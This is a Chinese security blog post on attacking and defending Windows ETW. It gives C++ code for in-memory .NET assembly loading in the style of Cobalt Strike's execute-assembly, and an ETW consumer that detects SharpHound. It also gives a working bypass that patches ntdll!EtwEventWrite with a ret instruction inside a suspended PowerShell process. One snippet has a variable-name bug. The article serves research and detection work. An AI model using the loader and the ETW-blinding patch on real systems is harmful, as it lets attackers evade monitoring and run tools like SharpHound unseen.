ETW的攻与防

admin 2025年2月13日10:12:06评论15 views字数 9524阅读31分44秒阅读模式

前言

ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW探究其攻与防的实现

ETW

事件监测(Event Instrumentation)总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为它们的中介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer的筛选条件,ETW会调用相应的回调来处理该事件

ETW针对事件的处理是在某个会话(ETW Session)中进行的,ETW Session提供了一个接收、存储、处理和分发事件的执行上下文。ETW框架可以创建多一个会话来处理由提供者程序发送的事件,但是ETW Session并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个ETW Session发送事件。对于接收到的事件,ETW Session可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。ETW会话的开启和终止是通过 Session的开启和终止是通过ETW控制器(ETW Controller)进行管理的。除了管理ETW Session之外,ETW Controller还可以禁用或者恢复注册到某个ETW Session上的ETW Provider

在这里,我们可以看到所有已注册的ETW提供者及其对应GUID,我们还可以看到Microsoft-Windows-Threat-Intelligence突出显示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>注册表项的二进制清单文件因为这是一个Manifest-based ETW提供者

logman.exequeryproviders

ETW的攻与防

我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型

logman.exequeryprovidersMicrosoft-Windows-Threat-Intelligence

ETW的攻与防

ETW的攻与防

也可以XML Manifest使用此工具检索文件,这使我们可以更详细地了解特定EtwTi事件记录的参数

ETW的攻与防

使用x nt!EtwTi*来查看内核里面的所有例程

ETW的攻与防

execute-assembly

cs在3.11版本实现了在非托管程序中加载.net程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell脚本能够很容易的转换为C#代码,十分方便,使用到的就是execute-assembly这个命令,这里我们用c#程序sharphound.exe进行演示,这个程序用来导出域内关系并可视化

execute-assemblyD:\Bloodhound\SharpHound.exe-call

ETW的攻与防

ETW的攻与防

首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLRCLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • 在CLR监视之下运行的程序属于托管的代码
  • 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码

托管程序与非托管程序的概念如下

托管代码就是Visual Basic .NET和C#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。

非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。

再就是Unmanaged API,它其实是一套能将.net程序集加载到任意程序里面的API,它支持ICorRuntimeHost InterfaceICLRRuntimeHost Interface两种接口,我们看一下msdn里面的描述

ETW的攻与防

其中ICorRuntimeHost Interface支持的版本有v1.0.3705, v1.1.4322, v2.0.50727v4.0.30319ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在实际的开发里面两种接口都是可以使用的

cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost的接口,主要用到以下3个接口

ICLRMetaHost

ICLRRuntimeInfo

ICLRRuntimeHost

ICLRMetaHost提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定

ETW的攻与防

ICLRRuntimeInfo提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。 此接口还提供了特定于运行时的功能,而无需初始化运行时。 它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口

ETW的攻与防

ICLRRuntimeHost提供与 .NET Framework 版本1中提供的 ICorRuntimeHost接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 SetHostControl方法的添加,省略提供的某些方法 ICorRuntimeHost

ETW的攻与防

硬盘加载

首先这里我们写一个Printf函数,使用Console.WriteLine接收

namespaceetw1
{
class Program
{
staticintMain(String[]args)
{
return1;
}
staticintPrintf(Stringstrings)
{
Console.WriteLine(strings);
return1;
}
}
}

在服务端我们首先使用CLRCreateInstance初始化ICLRMetaHost接口

CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);

然后调用GetRuntime方法获取ICLRRuntimeInfo接口

iMetaHost->GetRuntime(L"v4.0.30319",IID_ICLRRuntimeInfo,(LPVOID*)&iRuntimeInfo);

再使用ICLRRuntimeInfoCLR加载到当前进程,返回运行时接口ICLRRuntimeHost指针

iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost,IID_ICLRRuntimeHost,(LPVOID*)&iRuntimeHost);

然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序

    iRuntimeHost->ExecuteInDefaultAppDomain
    (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);

实现效果如下

ETW的攻与防

内存加载

内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payload为c#程序,调用powershell十分方便利用

那么我们来进行代码的实现,首先还是初始化CLR环境

CLRCreateInstance(CLSID_CLRMetaHost,IID_ICLRMetaHost,(VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319",IID_ICLRRuntimeInfo,(VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost,IID_ICorRuntimeHost,(VOID**)&iRuntimeHost);
iRuntimeHost->Start();

然后使用ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针

    iRuntimeHost->GetDefaultDomain(&pAppDomain);
    pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

ETW的攻与防

使用Load_3(…)从内存中读取并加载.NET程序集

saBound[0].cElements=ASSEMBLY_LENGTH;
saBound[0].lLbound=0;
SAFEARRAY*pSafeArray=SafeArrayCreate(VT_UI1,1,saBound);

SafeArrayAccessData(pSafeArray,&pData);
memcpy(pData,dotnetRaw,ASSEMBLY_LENGTH);
SafeArrayUnaccessData(pSafeArray);

pDefaultAppDomain->Load_3(pSafeArray,&pAssembly);
pAssembly->get_EntryPoint(&pMethodInfo);

创建安全数组并执行入口点

ZeroMemory(&vRet,sizeof(VARIANT));
ZeroMemory(&vObj,sizeof(VARIANT));
vObj.vt=VT_NULL;

vPsa.vt=(VT_ARRAY|VT_BSTR);
args=SafeArrayCreateVector(VT_VARIANT,0,1);

if(argc>1)
{
vPsa.parray=SafeArrayCreateVector(VT_BSTR,0,argc);
for(longi=0;i<argc;i++)
{
SafeArrayPutElement(vPsa.parray,&i,SysAllocString(argv[i]));
}

longidx[1]={0};
SafeArrayPutElement(args,idx,&vPsa);
}

HRESULThr=pMethodInfo->Invoke_3(vObj,args,&vRet);

ETW的攻与防

ETW的攻与防

检测execute-assembly

一般检测execute-assembly都会使用windows事件跟踪,即ETW,例如这里启动一个powershell进程,通过procexp查看可以看到被CLR托管的dll

ETW的攻与防

ETW的攻与防

我们可以从processhacker工具源码里面的asmpage.c(https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源码里面查看这类工具是怎样枚举.net工具集的,这里挑出关键代码编译成etw2.exe

staticGUIDClrRuntimeProviderGuid={0xe13c0d23,0xccbc,0x4e12,{0x93,0x1b,0xd9,0xcc,0x2e,0xee,0x27,0xe4}};

constcharname[]="dotnet trace\0";

#pragma pack(1)
typedefstruct _AssemblyLoadUnloadRundown_V1
{
ULONG64AssemblyID;
ULONG64AppDomainID;
ULONG64BindingID;
ULONGAssemblyFlags;
WCHARFullyQualifiedAssemblyName[1];
}AssemblyLoadUnloadRundown_V1,*PAssemblyLoadUnloadRundown_V1;
#pragma pack()

staticvoidNTAPIProcessEvent(PEVENT_RECORDEventRecord){

PEVENT_HEADEReventHeader=&EventRecord->EventHeader;
PEVENT_DESCRIPTOReventDescriptor=&eventHeader->EventDescriptor;
AssemblyLoadUnloadRundown_V1*assemblyUserData;

switch(eventDescriptor->Id){
caseAssemblyDCStart_V1:
assemblyUserData=(AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
wprintf(L"[%d] - Assembly: %s\n",eventHeader->ProcessId,assemblyUserData->FullyQualifiedAssemblyName);
break;
}
}

intmain(void)
{
TRACEHANDLEhTrace=0;
ULONGresult,bufferSize;
EVENT_TRACE_LOGFILEAtrace;
EVENT_TRACE_PROPERTIES*traceProp;

printf(".net_ETW_finder\n\n");

memset(&trace,0,sizeof(EVENT_TRACE_LOGFILEA));
trace.ProcessTraceMode=PROCESS_TRACE_MODE_REAL_TIME|PROCESS_TRACE_MODE_EVENT_RECORD;
trace.LoggerName=(LPSTR)name;
trace.EventRecordCallback=(PEVENT_RECORD_CALLBACK)ProcessEvent;

bufferSize=sizeof(EVENT_TRACE_PROPERTIES)+sizeof(name)+sizeof(WCHAR);

traceProp=(EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR,bufferSize);
traceProp->Wnode.BufferSize=bufferSize;
traceProp->Wnode.ClientContext=2;
traceProp->Wnode.Flags=WNODE_FLAG_TRACED_GUID;
traceProp->LogFileMode=EVENT_TRACE_REAL_TIME_MODE|EVENT_TRACE_USE_PAGED_MEMORY;
traceProp->LogFileNameOffset=0;
traceProp->LoggerNameOffset=sizeof(EVENT_TRACE_PROPERTIES);

if((result=StartTraceA(&hTrace,(LPCSTR)name,traceProp))!=ERROR_SUCCESS){
printf("[!] Error starting trace: %d\n",result);
return1;
}

if((result=EnableTraceEx(
&ClrRuntimeProviderGuid,
NULL,
hTrace,
1,
TRACE_LEVEL_VERBOSE,
0x8,// LoaderKeyword
0,
0,
NULL
))!=ERROR_SUCCESS){
printf("[!] Error EnableTraceEx\n");
return2;
}

hTrace=OpenTrace(&trace);
if(hTrace==INVALID_PROCESSTRACE_HANDLE){
printf("[!] Error OpenTrace\n");
return3;
}

result=ProcessTrace(&hTrace,1,NULL,NULL);
if(result!=ERROR_SUCCESS){
printf("[!] Error ProcessTrace\n");
return4;
}

return0;
}

首先cs上线

ETW的攻与防

然后启动我们的监控程序

ETW的攻与防

在beacon里面调用SharpHound.exe,这里需要在域内且具有.net环境才能够运行成功,执行以下命令

execute-assemblyD:\Bloodhound\SharpHound.exe1.2.3.4

ETW的攻与防

这里就会在exe存放的位置生成以下三个文件

ETW的攻与防

然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound的调用

ETW的攻与防

这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可

switch(eventDescriptor->Id){
caseMethodLoadVerbose_V1:
methodUserData=(struct _MethodLoadVerbose_V1*)EventRecord->UserData;
WCHAR*MethodNameSpace=methodUserData->MethodNameSpace;
WCHAR*MethodName=(WCHAR*)(((char*)methodUserData->MethodNameSpace)+(lstrlenW(methodUserData->MethodNameSpace)*2)+2);
WCHAR*MethodSignature=(WCHAR*)(((char*)MethodName)+(lstrlenW(MethodName)*2)+2);
wprintf(L"[%d] - MethodNameSpace: %s\n",eventHeader->ProcessId,methodUserData->MethodNameSpace);
}

这里通过select-string查找SharpHound方法

ETW的攻与防

这里还是启动一下我们的SharpHound程序

ETW的攻与防

ETW的攻与防

可以看到还是被监控到了Sharphound2.Sharphound方法

ETW的攻与防

规避ETW检测

通过查阅资料后发现ETWTRUE布尔参数传递到nt!EtwpStopTrace函数中,以查找 ETW特定结构并动态修改或修补ntdll!ETWEventWriteadvapi32!EventWrite立即返回从而停止用户模式记录器

也就是说在3环ETW是通过ntdll.dllEtwEventWriteFull函数实现的

ETW的攻与防

往下跟发现调用了EtwEventWriteFull,然后EtwEventWriteFull调用EtwpEventWriteFull

ETW的攻与防

我们继续往下看EtwEventWriteFull函数,调用了NtTraceEvent

ETW的攻与防

继续跟NtTraceEvent,可以发现NtTraceEvent通过syscall进入内核

ETW的攻与防

这里我们可以打印一下地址

ETW的攻与防

那么我们在EtwEventWriteFull直接使用0xc3ret返回,即可达到绕过的效果,首先我们通过x64dbg和powershell验证一下

首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点

定位到ntdll!EtwEventWrite

ETW的攻与防

ETW的攻与防

一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接使用retC3返回即可

ETW的攻与防

查看CLR日志已经被清空

ETW的攻与防

这里通过代码实现,定位到ntdll!EtwEventWrite函数,然后在入口处ret返回即可,使用VirtualProtectEx修改属性

voidbypassetw()
{
STARTUPINFOAsi={0};
PROCESS_INFORMATIONpi={0};
si.cb=sizeof(si);

CreateProcessA(NULL,(LPSTR)"powershell -NoExit",NULL,NULL,NULL,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

unsignedcharpEtwEventWrite[]={'E','t','w','E','v','e','n','t','W','r','i','t','e',0};

HMODULEhNtdll=GetModuleHandleA("ntdll.dll");
LPVOIDpEtwEventWrite=GetProcAddress(hNtdll,(LPCSTR)pEtwEventWrite);

DWORDoldProtect;
charpatch=0xc3;

VirtualProtectEx(pi.hProcess,(LPVOID)pEtwEventWrite,1,PAGE_EXECUTE_READWRITE,&oldProtect);
WriteProcessMemory(pi.hProcess,(LPVOID)pEtwEventWrite,&patch,sizeof(char),NULL);

VirtualProtectEx(pi.hProcess,(LPVOID)pEtwEventWrite,1,oldProtect,NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hNtdll);
return0;

}

实现效果如下,可以看到起了一个powershell进程,查看CLR日志也被清空

ETW的攻与防

这里可能某些EDR会hookEtwEventWrite这个函数,那么我们直接往syscall进0环的函数去挂钩,代码如下

unsignedcharsNtTraceEvent[]={'N','t','T','r','a','c','e','E','v','e','n','t',0};
LPVOIDpNtTraceEvent=GetProcAddress(hNtdll,(LPCSTR)sEtwEventWrite);

可以看到CLR日志也被清空

ETW的攻与防

FROM:tttang . com

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日10:12:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ETW的攻与防https://cn-sec.com/archives/1067830.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息